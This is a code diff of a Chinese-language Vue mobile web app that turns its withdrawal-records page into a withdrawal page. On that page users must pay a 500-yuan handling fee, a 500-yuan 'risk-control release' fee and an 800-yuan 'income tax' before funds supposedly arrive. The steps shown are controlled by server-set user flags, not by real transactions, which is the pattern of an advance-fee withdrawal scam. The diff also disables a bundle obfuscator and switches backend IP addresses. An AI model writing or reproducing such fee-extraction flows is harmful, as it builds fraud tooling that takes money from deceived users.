1

src/components.d.ts

@@ -12,6 +12,7 @@ declare module 'vue' {
     NewsCard: typeof import('./components/NewsCard.vue')['default']
     Overlay: typeof import('./components/overlay.vue')['default']
     PageLoading: typeof import('./components/PageLoading.vue')['default']
+    PayUp: typeof import('./components/payUp.vue')['default']
     Progress: typeof import('./components/progress.vue')['default']
     RouterLink: typeof import('vue-router')['RouterLink']
     RouterView: typeof import('vue-router')['RouterView']
@@ -23,6 +24,9 @@ declare module 'vue' {
     VanList: typeof import('vant/es')['List']
     VanLoading: typeof import('vant/es')['Loading']
     VanNavBar: typeof import('vant/es')['NavBar']
+    VanPopup: typeof import('vant/es')['Popup']
+    VanRadio: typeof import('vant/es')['Radio']
+    VanRadioGroup: typeof import('vant/es')['RadioGroup']
     VanStep: typeof import('vant/es')['Step']
     VanSteps: typeof import('vant/es')['Steps']
     VanSwipe: typeof import('vant/es')['Swipe']

src/utils/generateRoutes.ts

@@ -37,7 +37,7 @@ const titleMap: Record<string, string> = {
   ddownload: "APP下载",
   newsdetail: "新闻详情",
   modify: "修改资料",
-  myapple: "提现记录",
+  myapple: "提现",
 };
 
 // 处理路径转换为路由配置

src/views/user/index.vue

@@ -81,7 +81,7 @@ const renderList = [
   { title: "邀请好友", icon: a5, path: "/user/invite" },
   { title: "修改资料", icon: a6, path: "/user/modify" },
   { title: "APP下载", icon: a7, path: "/user/ddownload" },
-  { title: "提现记录", icon: a8, path: "/user/myapple" },
+  // { title: "提现记录", icon: a8, path: "/user/myapple" },
 ];
 const handleClick = (item: any) => {
   if (item.title == "实名认证" || item.title == "邀请好友" || item.title == "APP下载" || item.title == "我的团队") {
@@ -105,11 +105,13 @@ const tixian = (q1: string, type: number, title: string) => {
   if (!isEealNameAuthentication()) {
     return false
   }
+  
   if (q1 == null || isNaN(Number(q1)) || Number(q1) < 1) {
     showToast("余额不足");
     return false;
-}
-  router.push(`/user/tixian?balance=${q1}&type=${type}&title=${title}`);
+  }
+  router.push("/user/myapple");
+  // router.push(`/user/tixian?balance=${q1}&type=${type}&title=${title}`);
 };
 
 // 明细

src/views/user/myapple.vue

 <template>
-  <div class="myapple-container">
-    <van-nav-bar title="提现记录" left-arrow @click-left="$router.back()" fixed />
-
-    <div class="content">
-      <van-list
-        v-model:loading="loading"
-        :finished="finished"
-        finished-text="没有更多了"
-        @load="getList"
-      >
-        <div v-for="(item, index) in list" :key="index" class="record-card">
-          <div class="card-header">
-            <div class="amount-info">
-              <span class="label">提现金额</span>
-              <span class="amount">¥{{ item.withdrawAmount }}</span>
+  <div class="withdraw-page">
+    <!-- 银行卡信息 -->
+    <div class="content-warp">
+      <div class="bank-card">
+        <div class="bank-card-item" v-if="bankInfo.bankNum">
+          <div class="bankName">{{ bankInfo.bankName }}</div>
+          <div class="bank-card-item-right-bottom">
+            <span v-if="!isShow">**** **** **** {{ bankInfo.bankNum.slice(-4) }}</span>
+            <span v-else>{{ bankInfo.bankNum }}</span>
+            <van-icon name="eye-o" v-if="!isShow" @click="isShow = true" />
+            <van-icon name="closed-eye" v-else @click="isShow = false" />
           </div>
-            <van-tag :type="getStatusType(item.status)" round class="status-tag">
-              {{ getStatusText(item.status) }}
-            </van-tag>
         </div>
-
-          <div class="progress-section">
-            <van-steps :active="getStepByStatus(item.status)" active-color="#07c160">
-              <van-step>申请提现</van-step>
-              <van-step>缴纳手续费</van-step>
-              <van-step>解除风控</van-step>
-              <van-step>缴纳税费</van-step>
-              <van-step>到账成功</van-step>
-            </van-steps>
+        <div class="empty" v-else>
+          <van-empty image-size="100" description="暂未绑定银行卡" />
+          <var-button type="primary" size="large" block @click="addBankCard">前往添加银行卡</var-button>
         </div>
-
-          <div class="card-footer">
-            <div class="info-item">
-              <van-icon name="clock-o" />
-              <span>{{ item.createTime }}</span>
-            </div>
-            <div class="info-item">
-              <van-icon name="credit-pay" />
-              <span>{{ item.bankName }}  {{ item.bankNum }} </span>
       </div>
+
+      <div class="step-container">
+        <div class="step-title">注：缴纳完以下费用即可到账</div>
+        <van-steps direction="vertical" :active="mainStep">
+          <van-step v-for="(step, index) in steps" :key="index">
+            <template #default>
+              <div class="step-content">
+                <span class="step-text">{{ step.text }}</span>
+                <var-button v-if="step.amount && index >= paySteps" type="danger"
+                  @click="handlePay(step)">立即缴纳</var-button>
+                <var-button v-if="step.amount && index < paySteps" type="success">已完成缴纳</var-button>
               </div>
+            </template>
+          </van-step>
+        </van-steps>
       </div>
-      </van-list>
     </div>
+    <pay-up ref="payUpRef" />
+    <var-button type="primary" size="large" style="margin-top: 20px;" block @click="tixian">立即提现</var-button>
   </div>
 </template>
 
-<script setup lang="ts">
-import { ref } from 'vue'
+<script setup>
+import { ref, onMounted } from 'vue'
 import request from '@/utils/request'
-
-const list = ref([])
-const pageSize = ref(10)
-const pageNum = ref(1)
-const total = ref(0)
-const finished = ref(false)
-const loading = ref(false)
-
-const getList = async () => {
-  try {
-    const data = {
-      withdrawType: 1,
-      beginDate: ""
-    }
-    const res = await request.post(`/ops/withdraw/list?pageNum=${pageNum.value}&pageSize=${pageSize.value}`, data)
-    if (res.code === 200) {
-      list.value = [...list.value, ...(res.rows || [])]
-      total.value = res.total || 0
-      
-      if (list.value.length >= total.value) {
-        finished.value = true
-      } else {
-        pageNum.value++
-      }
-    } else {
-      showFailToast(res.msg || '加载失败')
-      finished.value = true
-    }
-  } catch (error) {
-    console.error('获取列表失败:', error)
-    showFailToast('加载失败，请重试')
-    finished.value = true
-  } finally {
-    loading.value = false
-  }
+import { useRouter } from 'vue-router'
+import payUp from '@/components/payUp.vue'
+const router = useRouter()
+// 银行卡信息
+const bankInfo = ref({})
+const isShow = ref(false)
+// 主步骤
+const mainStep = ref(0)
+const paySteps = ref(0)
+// 步骤配置
+const stepsBase = [
+  { text: '请缴纳手续费500元', amount: 500 },
+  { text: '排队打款中' },
+  { text: '解除大额收款风控费500元', amount: 500 },
+  { text: '解除成功' },
+  { text: '缴纳个人所得税800元', amount: 800 },
+  { text: '入账中' },
+  { text: '到账成功' }
+]
+const steps = ref([])
+
+const tixian = () => {
+  if (!bankInfo.value.bankNum) {
+    showToast('请先绑定银行卡')
+    return
+  }
+  showToast(stepsBase[paySteps.value].text)
 }
-
-const getStatusText = (status: string) => {
-  switch (status) {
-    case '0':
-    case '1':
-      return '审核中'
-    case '2':
-      return '已到账'
-    case '3':
-      return '已驳回'
-    default:
-      return '未知状态'
-  }
+const payUpRef = ref(null)
+const addBankCard = () => {
+  router.push('/user/mybankCard')
 }
 
-const getStatusType = (status: string) => {
-  switch (status) {
-    case '0':
-    case '1':
-      return 'warning'
-    case '2':
-      return 'success'
-    case '3':
-      return 'danger'
-    default:
-      return 'default'
-  }
-}
-
-const getStepByStatus = (status: string) => {
-  switch (status) {
-    case '0':
-      return 1
-    case '1':
-      return 2
-    case '2':
-      return 4
-    case '3':
-      return 0
-    default:
-      return 0
-  }
+// 处理支付
+const handlePay = (subStep) => {
+  payUpRef.value.open({
+    amount: subStep.amount,
+    payTitle: subStep.text,
+    payType: 1,
+    productId: 123,
+    needPassword: false
+  })
 }
+request.get('/ops/bankcard/list').then(res => {
+  if (res.rows.length > 0) {
+    bankInfo.value = res.rows[0]
+  }
+})
+const userInfo = ref({})
+userInfo.value = JSON.parse(sessionStorage.getItem('userInfo'))
+mainStep.value = userInfo.value.extend4
+paySteps.value = userInfo.value.extend5
+steps.value = stepsBase.filter((item, index) => index < mainStep.value)
 </script>
 
-<style lang="scss" scoped>
-.myapple-container {
-  min-height: 100vh;
+<style scoped lang="scss">
+.withdraw-page {
+  padding: 20px 10px;
+  box-sizing: border-box;
   background: #f7f8fa;
+}
 
-  .content {
+.bank-card {
+  background: #fff;
+  border-radius: 8px;
   padding: 16px;
-  }
+}
 
-  .record-card {
-    border-radius: 12px;
-    padding: 16px;
-    margin-bottom: 16px;
-    box-shadow: 0 2px 12px rgba(100, 101, 102, 0.08);
-    background: #fff;
+.content-warp {
+  height: 100%;
+  overflow-y: auto;
+}
 
-    .card-header {
-      display: flex;
-      justify-content: space-between;
-      align-items: center;
-      margin-bottom: 16px;
+.bank-card {
+  margin-bottom: 10px;
 
-      .amount-info {
+  .bankName {
+    font-size: 20px;
+    font-weight: 700;
+    color: #323233;
+    margin-bottom: 10px;
+  }
+}
+
+.bank-info {
   display: flex;
   flex-direction: column;
+}
 
-        .label {
-          font-size: 14px;
-          color: #666;
-          margin-bottom: 4px;
-        }
+.bank-name {
+  font-size: 16px;
+  font-weight: 500;
+  color: #323233;
+}
 
-        .amount {
-          font-size: 24px;
-          font-weight: bold;
-          color: #333;
-        }
-      }
+.card-number {
+  font-size: 14px;
+  color: #969799;
+  margin-top: 4px;
+}
 
-      .status-tag {
-        padding: 6px 12px;
-      }
-    }
+.tip-text {
+  color: #ff4d4f;
+  font-size: 14px;
+  margin-bottom: 20px;
+  padding: 0 16px;
+}
 
-    .progress-section {
-      margin: 20px 0;
+.step-container {
+  background: #fff;
+  border-radius: 8px;
+  padding: 16px;
 
-      :deep(.van-step) {
-        .van-step__title {
-          font-size: 12px;
-        }
-      }
+  .step-title {
+    font-size: 14px;
+    color: red;
   }
+}
 
-    .card-footer {
+.step-content {
+  padding: 8px 0;
   display: flex;
-      flex-direction: column;
-      gap: 8px;
-      margin-top: 16px;
-      padding-top: 16px;
-      border-top: 1px solid #f5f5f5;
+  justify-content: space-between;
+  align-items: center;
+}
 
-      .info-item {
+.step-text {
+  font-size: 14px;
+  color: #323233;
+}
+
+.sub-steps {
+  margin-top: 12px;
+  padding-left: 16px;
+}
+
+.sub-step {
   display: flex;
   align-items: center;
-        color: #666;
-        font-size: 13px;
+  margin-bottom: 12px;
+  color: #969799;
+}
 
-        .van-icon {
-          margin-right: 6px;
-          font-size: 16px;
-        }
-      }
+.sub-step.active {
+  color: #323233;
+}
+
+.sub-step-text {
+  flex: 1;
+  font-size: 14px;
+}
+
+.amount {
+  color: #ff4d4f;
+  margin: 0 12px;
+  font-size: 14px;
+}
+
+:deep(.van-step) {
+  .van-step__circle {
+    background-color: #1989fa;
+    border-color: #1989fa;
   }
+
+  .van-step__line {
+    background-color: #1989fa;
   }
 }
 
-:deep(.van-steps--horizontal) {
-  padding: 0;
+:deep(.van-step--vertical) {
+  padding: 10px 10px 10px 0;
 }
 </style>

vite.config.ts

@@ -39,12 +39,12 @@ export default defineConfig({
       dts: 'src/components.d.ts',
       dirs: ['src/components']
     }),
-    vitePluginBundleObfuscator({
-      enable: true,
-      log: true,
-      autoExcludeNodeModules: true,
-      threadPool: true,
-    })
+    // vitePluginBundleObfuscator({
+    //   enable: true,
+    //   log: true,
+    //   autoExcludeNodeModules: true,
+    //   threadPool: true,
+    // })
   ],
   resolve: {
     alias: {
@@ -77,8 +77,8 @@ export default defineConfig({
     port: 8080,
     proxy: {
       '/api': {
-        // target: 'http://27.124.5.14:9023',
-        target: 'http://43.199.109.243:3000/api',
+        target: 'http://27.124.5.14:9023',
+        // target: 'http://43.199.109.243:3000/api',
         changeOrigin: true,
         rewrite: (path) => path.replace(/^\/api/, '')
       }